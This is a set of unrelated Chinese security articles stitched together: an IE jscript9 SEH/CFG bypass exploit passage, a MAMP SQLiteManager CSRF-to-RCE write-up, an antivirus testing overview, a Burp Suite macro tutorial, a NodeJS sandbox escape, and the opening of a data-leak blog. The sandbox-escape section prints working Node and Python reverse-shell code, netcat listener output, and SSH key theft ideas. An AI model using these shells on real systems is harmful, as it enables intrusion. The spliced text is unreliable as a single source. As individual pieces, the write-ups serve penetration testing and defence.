2.10.png

很明显,在调试异常发生时,如果问题不是固定的,那么所有使用jscript9的五个结构化异常处理程序指针都将被使用,而MSHTML!_except_handler4似乎永远处于调试异常的死循环中。因此,如果我们可以修改5个JavaScript异常处理程序中的任何一个并触发异常,我们都将获得可以控制的指令指针。在我们原来的结构化异常处理程序的修改中,整个结构化异常处理链都会被堆栈缓冲区溢出所覆盖,但由此带来的问题便是SEHOP会被触发,因此我们只需要修改其中一个异常处理程序的结构化异常处理记录,并同时保持NSEH的完整性。因此,修改必须精确,且结构化异常处理记录的堆栈地址必须泄漏。要让泄露发生,我们就必须对堆栈进行扫描并查找到结构化异常处理链,在确定我们已经找到之后,我们就可以验证最终的异常处理程序是ntdll!FinalExceptionHandlerPadXX。由于ntdll!FinalExceptionHandlerPadXX函数在应用程序重新启动时发生更改,因此泄漏要分两步执行,首先找到正确的最终异常处理函数,然后再找到结构化异常处理链。为了获得第一个泄漏,我们要在ntdll!_except_handler4中搜索堆栈,因为只有在ntdll!_except_handler4的上下搜索中才会碰到第一个泄漏。

2.11.png

接下来,便是找到ntdll!_except_handler4的地址,但是这是很容易的,因为可以从任何受CFG保护的函数中找到ntdll.dll的指针,并且还包含一个间接调用。 CFG验证包含对ntdll!LdrpValidateUserCallTarget的调用,并且由于jscript9.dll受CFG保护,任何间接调用的函数都包含直接指向ntdll.dll的指针。在TypedArray对象的虚拟函数表的偏移0x10处,就存在一个这样的函数。

2.12.png

使用序列化执行权限,可以通过以下函数找到指向ntdll.dll的指针。

2.13.png

我们可以在ntdll.dll的指针中通过使用序列化执行权限来搜索地址签名或哈希值来找到_except_handler4的地址, _except_handler4看起来像这样:

2.14.png

起始的0x10字节始终保持不变,并且非常独特,因此它们可以在始终被用作无冲突的哈希搜索。

2.15.png

该函数可以将指针作为参数指向ntdll.dll,一旦我们有了函数指针,我们可以搜索栈了。

2.16.png

在这个地址,我们可以得到以下内容。

2.17.png

这意味着之前的双字可能会被读取并被包含在其中:

2.18.png

如上图所示,最终的异常处理函数指针已经被找了出来。

接下来,我们该开始进行第二阶段的泄漏了,不过这次我们寻找的异常处理程序来自于jscript9.dll,所以它的函数指针必须位于PE的代码段内,以下这些地址就是来自PE头的DLL。

2.19.png

现在,从顶部和底部开始搜索堆栈,查看堆栈的所有内容。算法原理如下:

· 如果双字低于0x10000000,则函数指针就不在jscript9.dll内,因此我们要跳转到下一个双字;

· 如果双字高于0x10000000,则检查函数指针是否在jscript9.dll的代码段内,如果是,则堆栈上双字是指向堆栈的指针;

· 如果前面进展顺利,则很可能是我们正在寻找的结构化异常处理程序,所以我们尝试并遵循堆栈指针的原则,来检查我们是否以最终的异常处理程序来结束;

· 如果其中一个指针不再指向堆栈或者需要超过8个引用,那么它肯定不是结构化异常处理链;

我们在测试中,也是第一次找到一个指向jscript9.dll的指针,其中双字刚好是一个堆栈指针,由于它是结构化异常处理链,所以算法运行速度很快。

2.20.png

使用这个算法意味着可以精确地修改结构化的异常处理程序记录,而不会中断下一个异常处理程序的指针,从而实现绕过SEHOP。

最后,触发异常,以获取可控制的指令指针。

2.21.png

运行结果如下:

2.22.png

可以看出,调试器捕获到了异常运行,并继续用0x42424242对指令指针进行修改。这说明了这种技术是可以绕过CFG来获得执行控制的,而且它同样能绕过Return Flow Guard来实现执行控制。

详细的代码请点击这里

MAMP这几个首字母代表苹果的OSX系统上的Macintosh、Apache、MySQL和PHP,顾名思义,你应该知道MAMP的强大功能啦!MAMP内含Apache服务器、PHP安装套件以及MySQL安装套件。另外,它附带有几个漏洞的SQLiteManager。

本文就描述了当MAMP的用户访问恶意网站时,攻击者如何利用这些漏洞执行代码。

MAMP

MAMP是可以安装在Mac OS X上的网络堆栈,Web开发人员通常使用它来测试他们正在使用的Web应用程序。由于它安装了Apache Web服务器,它默认在端口8888上运行。还包括一些数据库管理程序,如phpMyAdmin和SQLiteManager。

SQLiteManager

SQLiteManager是一个像phpMyAdmin for SQLite数据库的工具,它可以创建新的数据库,将表添加到数据库并在其上运行SQL查询。它自2013年发布以来还没有更新过,并且包含一些已知的漏洞。

目录遍历

SQLiteManager可以创建新的数据库,SQLite数据库包含在单个文件中,创建数据库时可以提供新数据库的文件名。然后在directory /Applications/MAMP/db/sqlite中创建该文件。但是,通过将 ../添加到文件名,我们可以将数据库的一个目录放在更高的位置。我们也可以使用它来获取包含PHP代码的文件,通过提供像以下这样的文件名,我们可以在web根目录下放置一个script.php文件。

1498548980280283.jpg

然后,使用SQLiteManager,我们创建一个表,并添加一行包含我们的PHP代码。文件script.php将是一个有效的SQLite数据库文件,其中包含访问该文件时运行的PHP代码。

3.2.jpg

CSRF

虽然在localhost上运行的SQLiteManager无法被攻击者直接访问,但是,如果攻击者可以在浏览器中运行Javascript,则可以伪造请求。如果你访问了恶意网站,则攻击者可以在浏览器中执行与安装MAMP相同的计算机上的请求。这些请求可以访问在localhost上运行的SQLiteManager。这种通过受害者浏览器弹出请求的方法称为跨站点请求伪造或称为CSRF。

SQLiteManager没有任何CSRF保护,因此上述目录遍历也可以使用CSRF执行。我们可以使用Javascript发布POST请求来创建数据库并向其中添加数据,然后向生成的文件发出请求。这样可以在受害者访问恶意站点时,在已安装和启用MAMP的受害者设备上运行代码。

例如,以下Javascript会发出创建数据库的请求:

3.3.jpg

dbsel号码是我们刚刚创建的数据库对应的号码,虽然我们不知道具体的号码,但可以尝试0到50之间的所有数字。

当我们触发对文件的请求时,执行osascript命令将显示弹出窗口:

3.4.png

总结

如果受害者只是访问具有恶意Javascript的网站,通过组合CSRF和目录遍历,就可以触发远程代码执行。

通过禁用SQLiteManager可以立即解决这个问题, MAMP用户可以通过编辑/Applications/MAMP/conf/apache/httpd.conf来实现。除非有人专门负责SQLiteManager的维护,否则这些漏洞不太可能得到修复。 MAMP已经有了SQLite的替代管理员-phpLiteAdmin。

最通用的解决方案就是禁止向私有的RFC1918 IP地址发送公共网络的请求,我们的建议是,默认拒绝这样的请求,并创建一个新的CORS头以明确允许请求。

在20世纪90年代的中后期,对网络安全的产品测试需求几乎与第一个防病毒程序的开发同时出现,最开始,是一些计算机安全方面的杂志,利用自制的方法来对一些要报道的安全解决方案的有效性进行验证,往后慢慢地,就出现了一个个专业的安全测试公司来使用全面的测试方法来进行各种相关的检测。

最开始的测试方法就是,从各个计算机上提取一些所谓的恶意文件进行扫描测试,但是由于这种测试的样本和测试结果都非常的不可靠,所以一直被网络安全的解决商所批评,很少有人相信这种方法所测试出来的结果。

20多年过去了。虽然网络安全保护的解决方案在经历了很大的发展,但是网络威胁的威力也越来越大了。反过来,这也加快了相应的测试方法的改进。让那些公司不断的设计出最安全和最准确测试方法。不过这个过程不管是从成本的角度还是从技术的角度来讲都极其的困难,这就是为什么现在安全产品的测试质量取决于实验室的财务状况和其积累的专业知识(比如卡巴斯基实验室的情况)。

关于测试的成本:事实是,独立测试是评估其测试结果的公平,有效的唯一方法。比如NCAP(New Car Assessment Program) 就是一个民间组织,不同于那些由政府机构组织实施的强制性安全认证,它有着自己标准。所以安全产品的测试公司,就得耗费巨资来获得各个开发者的认可。

不过现在这个问题目前正在慢慢地解决,因为网络安全行业本来就是基于网络的产品,所以通过机器学习可以有效的降低很大的成本。所以未来的基于机器学习的检测结果将会越来越普及。

安全产品的基本测试方法

· 按需扫描(ODS):ODS是最开始使用的测试实方法,用于测试的实验室会收集所有类型的恶意程序(主要是已经感染了恶意软件的文件 ,现在主要是木马程序),将它们添加到用于测试的文件中,然后启动有要测试的安全产品对整个文件进行测试。如果测试的产品捕获的恶意程序越多,就认为它越好,为了接近实战效果,在测试过程中,测试者会将文件从一个文件夹复制到另一个文件夹,看看交叉感染的测试效果。

但目前大部分比较高级的安全技术根本就不适用于这种类型的测试,这也就意味着无法评估解决方案有效地应对威胁的效果。不过,ODS通常会结合一些更为更先进的方法来实施检测。

· 执行测试(On-execute test):这是ODS之后发展的一项测试技术。在安全软件正在运行的机器上复制并启动样本集合,并记录安全解决方案的反应。这曾经被视为一种非常先进的技术,但其缺点很快在实践中显露出来。因为现在的网络攻击往往是分几个阶段进行的,而恶意文件只是攻击的一部分。例如,攻击样本要等待命令行参数,才能在特定环境,例如,特定浏览器中运行,或者攻击样本可以是连接到主木马的DLL形式的模块,比如DLL木马(一种动态嵌入式木马)。

· 现实测试(RW):这是目前最复杂的测试方法,但也最接近现实攻击环境,现实测试会模仿感染程序的整个周期。测试人员在安装了安全解决方案的干净系统上打开通过电子邮件传送的恶意文件,或者通过浏览器跟踪实际的恶意链接,以检查整个感染链是否在正常工作,或者看正在测试的解决方案是否能停止恶意攻击过程的哪些阶段。

这种测试考虑了安全产品在真实的网络环境中可能遇到的各种问题。

然而,这种测试方法需要严格的准备工作。首先,需要大量的机器及大量的时间对超过一百个或更多的样品进行全面测试,这是少数实验室所能承受的。其次,目前的许多木马可以识别出它们是否是在虚拟环境中运行,如果是,它们则不会运行,它们会阻碍任何试图分析它们的工作。因此,为了获得最可靠的结果,测试实验室必须使用实际带有物理地址的计算机来运行,在恶意软件样本运行后在重新启动安全产品进行测试。

另一个困难是需要生成用于测试的大量恶意链接数据库。因为许多恶意链接会在测试完后,直接消失,根本起不到实际的测试效果,所以RW测试的质量在很大程度上取决于实验室是否可以找到具有实际检测效果的恶意链接。

· 主动的网络行为检测(Behavior or proactive test):这个思路就是要对未知的样本来进行。为此,进行测试的安全产品,要不断地进行更新。然后,在最后一次更新后,对所出现的恶意程序进行样本汇总,然后再执行按需扫描和执行测试。一些测试公司打包或模糊已知的威胁,以测试安全解决方案识别恶意行为的能力。不过很难正确地评估这种测试的结果,因为,一些实验室会为了保持所收集样本的特性而在完全断网的测试机上进行检测,但是在实际的环境中,病毒是会发生变异的,所以这种测试完全不可行。

· 删除或修复测试(测试是否完全删除了恶意软件):这是为了检查安全产品对恶意程序的实际处理能力,即清除自动运行密钥,删除任务调度程序和恶意软件活动的其他痕迹。这是一个重要的测试,假若删除不干净,可能会让恶意程序死灰复燃。在测试期间,干净的系统会先被所收集的恶意软件样本所感染,然后让安全产品进行查杀,完了之后,重新启动计算机,并安装具有最新更新的安全产品进行检测。这个测试可以进行单独一部分测试或作为RW测试的一部分。

· 性能测试:此测试是为了评估安全产品是如何有效地使用计算机系统资源的。为此,在安装和运行安全产品的情况下,要对计算机平时运行的各种操作速度进行测量。这些操作包括系统引导,文件复制,归档和解压缩以及应用程序的启动,一句话,就是模拟真实用户的工作场景。

· 假阳性测试(False positive test):该测试对于确定最终评估的可靠性是非常必要的。显然,机器学习,特别是未受监控的机器学习,将不可避免地创造假阳性。这些假阳性将必须通过人类予以纠正,安全产品可能对测试中的恶意程序进行100%的甄别,但在实际的环境中,安全产品必须对合法应用的反应作出评判。为此,要使用不同的方案来创建和测试常用软件。

· 反馈:这不是测试方法,而是任何测试都要经过的最重要的阶段,没有它,结果就不能被验证。在执行所有测试之后,实验室将产品实现的初步结果发送给相应的供应商,以便他们可以检查并识别产品的漏洞。这是非常重要的,因为测试实验室根本没有资源来检查每一个情况,并且测试中的错误也是不可避免的。这些错误不一定是由测试方法论引起的,例如,在RW测试期间,应用可以成功地绕过检测设备,但是不执行任何恶意动作,因为它没有碰到恶意运行的环境或者其最初不是恶意的,而是用于广告目的,但是这些运行都是在安全产品安全后所发生的,所以会影响到最终的效果评判。同时,安全解决方案旨在阻止恶意操作。然而,在这种情况下,并没有发生恶意操作,而反恶意软件程序还依然按照最初的设计在运行,所以碰到这种情况只能通过分析恶意样本的代码及其行为来处理了。

针对安全产品的特定性能进行测试

这种方法是用于深入测试特定类型的威胁或特定安全技术的方法。许多安全产品的开发商需要知道哪种安全解决方案对加密系统的保护最有效,例如,哪种产品对网上银行系统提供了最佳保护。在这种情况下,对安全解决方案的整体性评估就不是很有代表了,因为这个测试结果只是显示一个产品“不比其他产品差”而已。这还不够,所以一些测试实验室还进行了专门的测试。

· 漏洞测试:对付网络攻击比检测出恶意软件样本更困难,并不是所有的安全解决方案都能成功对付网络攻击的。为了评估安全产品的防御技术,实验室会使用RW测试:测试人员会收集大量的恶意数据链接包,在干净的机器上跟踪它们,记录流量并在测试中为所有反恶意软件解决方案重现这些恶意数据包的攻击过程。为了使实验尽可能的干净,一些公司,除了真正的漏洞利用包外还会使用Metasploit框架创建自己特有的漏洞,这样就可以测试安全解决方案对未知代码软件漏洞的反应了。

· 金融威胁测试:网上银行和银行客户端系统是网络犯罪分子攻击最多的地方,所以测试人员会使用许多特定技术,例如,替换网页内容或远程系统管理,并且还会检查安全解决方案如何对抗它们。此外,许多安全产品的开发商还会提供专门的安全技术来防范金融威胁,例如,卡巴斯基的SafeMoney,SafeMoney的有效性也会通过这些测试来进行检查。

· 特殊平台:绝大多数测试都是在最常用的平台上进行的, 比如Windows。然而,安全产品的开发商有时对其他平台上的安全解决方案更感兴趣,比如,Android,Linux,Mac OS,Windows服务器,移动操作系统,甚至早期的Windows版本(例如,大多数ATM目前仍然使用Windows XP)。

针对安全产品的测试类型

除了测试方法,测试也会因测试类型而异。一般情况下,安全产品都是单独进行测试,比如对卡巴斯基进行测试完后再对AntiVirus进行检测,不过这么测试仅仅只是一个相对的结果,比不出哪个产品更好,所以有时会对几种安全产品一起测试,比如对卡巴斯基和AntiVirus同时进行测试,看看他们对同一恶意程序的反应,但是这种比较测试会耗费更多的测试资源,但能为开发商和用提供更多信息。

另外还和测试的频率与测试结果的评价方法有关。大多数测试公司进行会六个月进行的一次测试。每一次测试的结果都会独立评价,在一个测试中可以高度评价的解决方案,可能会在下一个测试中,可以评价很低,反之亦然。除了安全产品本身的特征之外,还取决于测试使用的样本集合或测试的方法。

如果是在连续测试的情况下,会累积给出综合评价,例如,有的安全产品会每个月进行一次测试,这样每六个月综合评价一次,这样的测试最具准确性。所以对消费者最重要的和对开发商最重要的就是连续测试。只有“远距离比赛”的结果才能够评价产品的各种测试结果与各种样本的集合,并对产品做最后的定论。

连续测试能评估一个产品以前和当前版本的各种区别,并能预测未来可能会发生什么反应。连续测试表明了这个安全产品是在不断的更新,不仅样本数据库在更新而且代表着开发人员也在密切关注不断变化的安全形势并对变化做出响应。

安全产品测试市场的概况

目前,市场上出现了许多与安全产品测试相关的公司。这无疑对行业发展有利,因为他们每个都各有擅长的方面,来自不同实验室的评估会让安全产品得到全方位的评价:

· AV:这家奥地利公司是测试市场上最早的公司之一。它专注于B2B的安全解决方案,并利用自己的病毒样本执行一系列测试,包括RW测试。测试会持续进行10个月,然后对最好的安全产品授予年度最佳的称号。每年一次,其测试人员就是使用ODS,OAS和On-Execute方法测试针对Android和Mac OS的安全解决方案。

· AV-TEST:成立于20年前的一家德国公司,目前是该市场最大的公司。它每月进行一次比较RW测试,测试结果每两个月提供一次;它还使用ODS + ODS + OES方法即样品被扫描,运行后并再次扫描。AV-TEST还会对Android进行性能测试,每年两次使用ODS方法测试针对Mac OS的安全解决方案。

MRG:总部设在英国,该公司自2009年以来一直在测试安全产品。它专门从事神队的技术测试,并进行季度比较RW测试(360评估)。 MRG还会测试金融威胁比如网上银行测试和漏洞预防测试,另外该公司还会执行各种按需测试。

· SELAB:由前DTL员工Simon Edwards创办,该公司是在框架基础上设计了自己的一套攻击测试体系,进行季度RW测试,包括防御测试。

· Virus Bulletin:该公司使用静态WildList(在野病毒列表)进行非常简单的基于ODS方法的测试认证,可供开发商下载。它还执行安全产品的主动行为测试,但目前其数据库已经几个月没有更新了。

· ICSA:这个美国公司是Verizon的一个部门,它只执行认证测试和抗APT的安全解决方案的测试。

· NSS Labs:一家美国公司,专注于公司业务。该公司包括RW测试,防御测试和抗APT的安全解决方案的测试。

· 杂志和网络出版商:如PC Magazine(美国著名的IT杂志),ComputerBild,Tom’s Hardware Guide等,也进行了自己的防病毒测试。然而,他们的方法不是很透明,而且他们也没有公开他们的恶意软件样本集。

除了上述市场参与者之外,还有许多应安全产品开发商而进行非常规测试的公司。不过,在查看其评估结果时应当小心,它们的方法通常不透明,并且比较测试的对象也不会公布。应当指出,高质量的测试方法是一个复杂而昂贵的过程,需要大量的资源和专业知识。只有这样的测试才能为安全产品提供有价值的参考。

Burp Suite是用于攻击web应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP消息、持久性、认证、代理、日志、警报。

有很多工具可以用来对web应用进行自动化测试,但Burp Suite中的Macros是一个进行自动化测试的上佳方法,虽然它实现起来有些复杂。

本文讲的就是利用Macros,帮助你自动化处理那些需要手动分析的模糊有效载荷。

渗透测试中,在Web应用中执行参数和页面字段的模糊处理时,你会遇到一些与会话处理有关的问题。在多种情况下,用于终止会话的应用仅用于测试,这或许是由于一些安全对策引发的(例如:获得不安全的输入,用于注销的会话),又或许是在其他情况下,burp spider(一个映射 web 应用的工具)或 crawler被用于模糊注销页面参数以终止会话。

在这些情况下,进一步的扫描,探测和请求都会变得无效,这样,你就不得不执行重新登录并建立应用的会话。以前,我们都是手动进行处理的,但这实在是太麻烦了。于是,我注意到了Burp的会话处理功能。

在经过初步地探索后,我发现Burp通过一些基于Macros的规则就可以自动化处理。简单来说,如果是模糊参数导致的会话终止,Burp就可以使用凭据自动登录app,并继续扫描和探测。

前期配置

1.BurpSuite 1.7.21(免费版)

2.任何具有会话处理的网站(本文用的是http://demo.testfire.net

具体步骤

步骤1

如以下显示的网站,要具有登录功能。

11.1.png

步骤2

此时,我可以简单的在burp suite中实施拦截,并利用凭据来执行登录。

11.2.png

步骤3

进入网站的登录页面:

11.3.png

步骤4

现在为了测试会话处理,我可以将这个页面请求发送到burp的中继器选项卡(repeater tab),如果由于会话中断而导致会话被终止,那么就删除cookie。

11.4.png

步骤5

因为我有一个正确的会话,所以可以看到页面会话正在运行,最后我尝试删除cookie并再次测试。

11.5.png

步骤6

可以看到,会话被注销,我需要再次登录以继续测试。

11.6.png

步骤7

现在要做的就是恢复Burp Macros,使用NavigateTo方法:项目选项->会话->会话处理规则。

11.7.png

步骤8:

现在,我可以看到有一个默认规则,该规则使用来自Burp的cookie jar的cookie。

11.8.png

步骤9

单击添加按钮创建新规则:

11.9.png

步骤10

选择适合你和规则操作的规则描述,选择“检查会话有效”。

11.10.png

步骤11

一旦单击确定,会话处理编辑器就将启动,显示默认值并发出当前请求。向下滚动到“如果会话无效,请执行以下操作”界面。

11.11.png

11.11.2.png

步骤12

勾选”if session is invalid, perform the following action”可选框并单击添加宏,此时,你将获得具有所有代理历史记录的宏记录器。单击并选择具有登录凭据的执行登录页面。

步骤13

一旦你点击确定,宏编辑器将启动,你可以使用自定义名称命名,选择相关选项来模拟宏,重新记录,重新分析。

11.12.png

步骤14

在测试之前,配置参数以确定burp是否已经正确捕获了测试参数。

11.13.png

步骤15

现在设置全部完成,我可以执行一个测试宏。

步骤16

现在单击final scope ,并将URL范围设置为所有urls/suite scope/custom scope,以指导宏在哪里运行。

步骤17

我把所有URL都包括在这里,再测试一下我的宏:

11.14.png

步骤18

在中继器选项卡中,我正在尝试访问没有cookies的主页面。

11.15.png

步骤19

一旦我点击,Cookie将自动添加到请求中,页面将被加载!篡改Cookie值以检查会话:

11.16.png

11.16.2.png

以上就是我发现的简单的方法,burp如何有助于创建基于规则和宏的会话。

我可以使用我的测试有效载荷来简单的模糊输入字段,以检查XSS,SQLi,IDOR等漏洞。即使应用由于中间系统中断而超时,也可以在自动扫描或手动测试时保护会话免受垃圾输入的干扰。这样,macros将帮助你执行记录操作并在app里重新登录!

在这篇文章中,我们将探讨如何使用解释器的内部结构来逃离NodeJS沙箱。

Node.js是一个Javascript运行环境(runtime environment),发布于2009年5月,由Ryan Dahl开发,实质是对Chrome V8引擎进行了封装。Node.js不是一个JavaScript框架,不同于CakePHP、Django、Rails。Node.js更不是浏览器端的库,不能与jQuery、ExtJS相提并论。Node.js是一个让JavaScript运行在服务端的开发平台,它让JavaScript成为与PHP、Python、Perl、Ruby 等服务端语言平起平坐的脚本语言。Node.js对一些特殊用例进行优化,提供替代的API,使得V8在非浏览器环境下运行得更好。V8引擎执行Javascript的速度非常快,性能非常好。开发人员使用Node.js后,可以让应用程序的前端和后端同时使用相同的编程语言。如今,NodeJS的下载量已经超过2.5亿次,并且这个量还在继续增长。这种受欢迎程度和广泛使用度,使得人们可以在web应用程序的测试中,发现许多有趣的功能。

在NodeJS出现之前,开发人员在开发一个应用程序时,是需要使用不同的服务器端语言的,比如PHP或Perl,这些语言本身就存在安全问题。不过,尽管NodeJS和JavaScript提供了改进措施,但由于eval()函数的关系,它们在命令注入方面并没有什么不同。

eval()是程序语言中的函数,功能是获取返回值,不同语言大同小异,函数原型是返回值 = eval( codeString ),如果eval函数在执行时遇到错误,则抛出异常给调用者。

eval函数允许应用程序在操作系统级别执行命令,当操作系统和应用程序之间的功能无法对接,或应用程序很容易将其所应发挥的功能推卸给底层系统时,开发人员将求助于eval。最终,使用eval函数的功能可以实现沙盒在不同级别的运行,以防止像攻击者运行底层服务器。

现在,让我们深入研究一下NodeJS,看看如何在一个允许执行任意JavaScript的应用程序中逃离NodeJS沙箱。

反向shell

我们首先花了大量的时间做了渗透性测试,然后再进行了反向shell。在此期间,我参考了大量Wiremask的文章,构建了一个可以在NodeJS中使用的BAREBONE反向shell。

BAREBONE,也叫笔记本准系统。准系统的英文名称是Barebone或Bare System,现在指某些厂家生产的没有CPU、硬盘,光驱等等的以便于用户自己DIY的一种集笔记本shell、显示屏、主板、电池于一体的产品。

(function(){var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);var client = new net.Socket();
client.connect(8080, "192.168.1.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});return /a/; // Prevents the Node.js application form crashing})();

如果你所测试的设备的沙盒很弱或者根本不存在,那你是非常的幸运,此时你就会得到一个反向shell,继续下一步探索。然而,现实中这样的好运气却非常少。为此,我们将研究如何在沙盒环境很强的设备中,无需require就可以执行反向shell。这是一种常见的沙盒技术,是抵御攻击的第一步防御措施。如果无法导入NodeJS标准库,则无法轻松执行诸如向操作系统读取/写入文件或建立网络连接等操作。现在,真正的挑战开始了。

目标侦察

任何渗透测试方法的第一步都是目标侦察,我们认为通过识别任意命令执行可以到达这个目的。但由于沙箱的存在,我们必须从头开始侦察。其中,最重要的就是要确定执行任意命令时的有效载荷具有哪些访问权限,最直接的方法是触发堆栈跟踪并查看输出内容。所谓的堆栈跟踪,就是通过问题中给出的示例,我们可以准确的确定应用程序中触发异常的位置。不幸的是,并不是所有的web应用程序都会简单的将堆栈跟踪或标准错误返回给侦查人员。幸运的是,我们可以使用有效载荷生成堆栈跟踪并将其进行标准输出,具体的方法,大家可以查看StackOverflow网站,我们可以看到代码实际上非常简单,特别是带有新语言特性的代码。如果没有直接的控制台访问,我们必须使用print语句或返回实际的跟踪,以下代码将执行以下操作。

function stackTrace() {var err = new Error();
print(err.stack);
}

运行这个有效载荷后,我们将得到一个堆栈跟踪:

Error
at stackTrace (lodash.templateSources[3354]:49:19)
at eval (lodash.templateSources[3354]:52:11)
at Object.eval (lodash.templateSources[3354]:65:3)
at evalmachine.:38:49
at Array.map ()
at resolveLodashTemplates (evalmachine.:25:25)
at evalmachine.:59:3
at ContextifyScript.Script.runInContext (vm.js:59:29)
at Object.runInContext (vm.js:120:6)
at /var/www/ClientServer/services/Router/sandbox.js:95:29
...

现在我们就进入了sandbox.js中,使用eval在lodash模板中运行。现在,我们就可以尝试找出当前的代码上下文。

我们会尝试将这些内容导出来,但这个过程并不简单,必须要使用JSON.stringify()。

> print(JSON.stringify(this))
< TypeError: Converting circular structure to JSON

不幸的是,其中还存在一些循环引用,这意味着我们需要一个脚本来识别这些引用并阻断它们。我们的方法就是将JSON.prune嵌入到有效载荷中。

> print(JSON.prune(this))
< {
"console": {},
"global": "-pruned-",
"process": {
"title": "/usr/local/nvm/versions/node/v8.9.0/bin/node",
"version": "v8.9.0",
"moduleLoadList": [ ... ],
...
}

原始的JSON.prune不支持枚举可用的函数,不过我们可以修改case "function"结果来得到函数的名称,从而更好的映射可用函数,运行此有效载荷将枚举大量的可用的函数,其中包含一些有趣的项目。首先, this.process.env会包含当前进程的环境变量,可能包含API密钥或密码。其次,this.process.mainModule包含当前运行模块的配置,另外你还可以找到其他需要进一步研究的特定于应用程序的项目,例如配置文件位置。最后,我们会看到this.process.moduleLoadList,它是由主进程加载的所有NodeJS模块的列表。

在NodeJS中逃脱沙箱

通过查看主进程中的moduleLoadList,就可以发现我们所需要的原始反向shell代码。我们可以在其中看到我们需要的两个模块:net和child_process,它们应该已经被加载。这样,我们就可以开始研究如何访问进程加载的模块。如果没有require,我们就必须使用内部库和NodeJS本身使用的API。在阅读完进程的NodeJS文档后,我们知道了如何利用dlopen(),但是,本文的重点不在这里,因为利用的过程太复杂。不过,我们发现了有一种更简单的方法:process.binding(),就是通过NodeJS源代码本身,最终得到fs.js,即文件I/O的NodeJS库。我们可以在其中看到process.binding('fs')正在被使用。关于它是如何工作的,本文也不会多讲,不过你知道它最终会返回fs模块就可以了。使用JSON.prune对该模块进行修改,就可以找到我们所需的函数名称,查看它所对应的功能。

> var fs = this.process.binding('fs');
> print(JSON.prune(fs));
< {
"access": "func access()",
"close": "func close()",
"open": "func open()",
"read": "func read()",
...
"rmdir": "func rmdir()",
"mkdir": "func mkdir()",
...
}

在进一步研究之后,我们了解到这些都是NodeJS使用的C ++绑定的功能,只要使用适当的C/ c++函数签名,我们就可以对这些函数进行读取或写入。这样,我们就可以开始研究本地文件系统了,并通过将公钥写入 ~/.ssh/authorized_keys 或读取 ~/.ssh/id_rsa来获取SSH访问权限。但是,通常的做法是将虚拟机与直接访问和代理流量隔离开来。所以,我们逃脱沙箱的方法就是启动反向shell连接来绕过这个网络限制。为此,我们将尝试复制child_process和net包。

这样,我们的研究重点就变为了探索NodeJS存储库中c++所绑定的功能。该研究涉及读取想要执行的函数的相关JS库(如net.js),然后再将所发现的功能反过来与c++绑定的功能对照,以便将所有思路组合在一起。我们原本可以在没有require的情况下重写net.js,但是有一个更简单的方法,就是GitHub上的CapcitorSet已经做了很多繁重的工作,并在没有require:spawn_sync的情况下重写了执行操作系统级的命令。我们可以在此基础上,做一个小的更改:将process.binding()更改为this.process.binding(),将console.log()更改为print()(或将其完全删除)。接下来,我们还需要弄清楚我们可以使用什么来启动反向shell,这是典型的post-exploitation (后漏洞利用)过程。我们可以利用该方法寻找运行which <binary name>有效载荷的netcat,perl,python等,例如python。在本文的示例中,我们是在highon.coffee的反向shell引用上发现的Python和相应的有效载荷:

var resp = spawnSync('python',
['-c',
'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("127.0.0.1",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
]
);
print(resp.stdout);
print(resp.stderr);

确保更新“127.0.0.1”和443值,以分别指向netcat(netcat是网络界的瑞士军刀,它的主要作用是:提供连接其他终端的方法,可以上传文件, 反向shel等等)正在监控的可通过互联网访问的IP地址和端口。当我们运行有效载荷时,就可以看到反向shel进行了成功的沙箱绕过。

[email protected]$ nc -nvlp 443
Listening on [0.0.0.0] (family 0, port 443)
Connection from [192.168.1.1] port 443 [tcp/*] accepted (family 2, sport 48438)
sh: no job control in this shell
sh-4.2$ whoami
whoami
user
sh-4.2$ ifconfig
ifconfig
ens5: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 9001
inet 192.168.1.1 netmask 255.255.240.0 broadcast 192.168.1.255
ether de:ad:be:ee:ef:00 txqueuelen 1000 (Ethernet)
RX packets 4344691 bytes 1198637148 (1.1 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4377151 bytes 1646033264 (1.5 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1000 (Local Loopback)
RX packets 126582565 bytes 25595751878 (23.8 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 126582565 bytes 25595751878 (23.8 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

总结

通过任意代码执行完成反向shell,我们就可以进行NodeJS沙盒逃逸,虽然本文的研究还处于理论阶段,但要大规模应用,只是时间问题。这个问题在早期的web后端语言(如PHP)中非常严重,并且至今仍然困扰着我们。

所以,我们得出的安全结论就是:永远不要信任用户执行的任何输入内容,永远不要执行用户提供的代码。此外,对于渗透测试者来说,在解释器的内部结构中进行沙箱绕过是非常有价值的事情,这可以促使他们对很多安全机制进行深度思考。

眼看着2018年就要过去了,作为常年住出差在外的小编,现在不得不反思一下,以后出门我要住在哪里?酒店吗……前段时间,国内众多五星级酒店,都被曝出用擦马桶的毛巾清洁水杯,不干净就算了,大不了我自己带一套睡觉洗漱的装备。不过没有最糟,只有更糟,最近国际顶级豪华酒店万豪又宣称大量用户数据被泄露。连这种级别的酒店都会发生这种事情,其他菜鸟级的酒店就跟不用说了。不过,对于小编来说也只能感叹一下“富人的苦恼我们穷人不懂”,摸了摸自己的钱包,到酒店开房这种美梦想想就算了。于是乎,我打开了常用的“陌生人聊天工具”陌陌。当我沉浸在陌生交友的幻境醉生梦死时,一条消息干错利落地把我的这种意淫梦给打破了。有消息称,陌陌的三千万数据在暗网以50美元的价格出售,这里应该就有我的数据吧。更可怕的是,这些数据折算下来一千条信息才一分钱。

这几年开房信息泄露的时间线

信息泄露这个事情,以前也有,不过没有那么夸张,一般都是在区域内的信息流动,没有太多的传播。不过,让公众了解到信息泄露的危害性的,是从2013年那份震惊全国的“开房数据”开始的。

